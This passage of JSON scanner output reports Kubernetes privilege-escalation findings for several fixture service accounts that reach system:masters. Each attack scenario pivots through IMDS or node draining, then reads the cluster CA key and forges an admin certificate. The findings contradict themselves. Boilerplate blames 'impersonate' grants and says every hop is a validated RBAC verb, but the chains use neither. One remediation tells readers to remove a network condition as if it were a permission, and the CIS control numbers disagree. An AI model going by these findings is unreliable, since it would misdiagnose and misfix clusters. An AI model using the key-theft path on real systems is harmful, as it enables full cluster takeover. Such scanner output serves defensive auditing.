    "description": "Subject `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-pwk7v falls back to node IAM role via IMDS\n  2. `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pv-hostpath",
      "namespace": "pv-hostpath-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath`.",
      "Acting as `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-pwk7v falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pv-hostpath",
          "namespace": "pv-hostpath-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-pwk7v falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pv-hostpath",
          "namespace": "pv-hostpath-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/rbac-fixtures/sa-cluster-admin:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-cluster-admin` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-cluster-admin` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-cluster-admin` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n  2. `ServiceAccount/rbac-fixtures/sa-cluster-admin` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-cluster-admin",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-cluster-admin` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-cluster-admin`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-cluster-admin`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-cluster-admin`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-cluster-admin` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-cluster-admin` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-cluster-admin",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-cluster-admin",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/rbac-fixtures/sa-wildcard:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-wildcard` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-wildcard` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/rbac-fixtures/sa-wildcard` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n  2. `ServiceAccount/rbac-fixtures/sa-wildcard` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-wildcard` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-wildcard`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-wildcard`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-wildcard`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-wildcard` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-wildcard` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-wildcard",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-wildcard",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/secrets-bundle/cross-ns-reader:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/secrets-bundle/cross-ns-reader` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/secrets-bundle/cross-ns-reader` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (2 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/secrets-bundle/cross-ns-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod secrets-bundle/cross-ns-consumer-6c945c9c9d-jq2db falls back to node IAM role via IMDS\n  2. `ServiceAccount/secrets-bundle/cross-ns-reader` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cross-ns-reader",
      "namespace": "secrets-bundle"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/secrets-bundle/cross-ns-reader` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/secrets-bundle/cross-ns-reader`.",
      "Acting as `ServiceAccount/secrets-bundle/cross-ns-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod secrets-bundle/cross-ns-consumer-6c945c9c9d-jq2db falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/secrets-bundle/cross-ns-reader`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/secrets-bundle/cross-ns-reader` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/secrets-bundle/cross-ns-reader` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cross-ns-reader",
          "namespace": "secrets-bundle"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod secrets-bundle/cross-ns-consumer-6c945c9c9d-jq2db falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cross-ns-reader",
          "namespace": "secrets-bundle"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/statusspoof-fixtures/default:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8.299999999999999,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/statusspoof-fixtures/default` can impersonate **`system:masters`** in 2 hop(s), bypassing all RBAC",
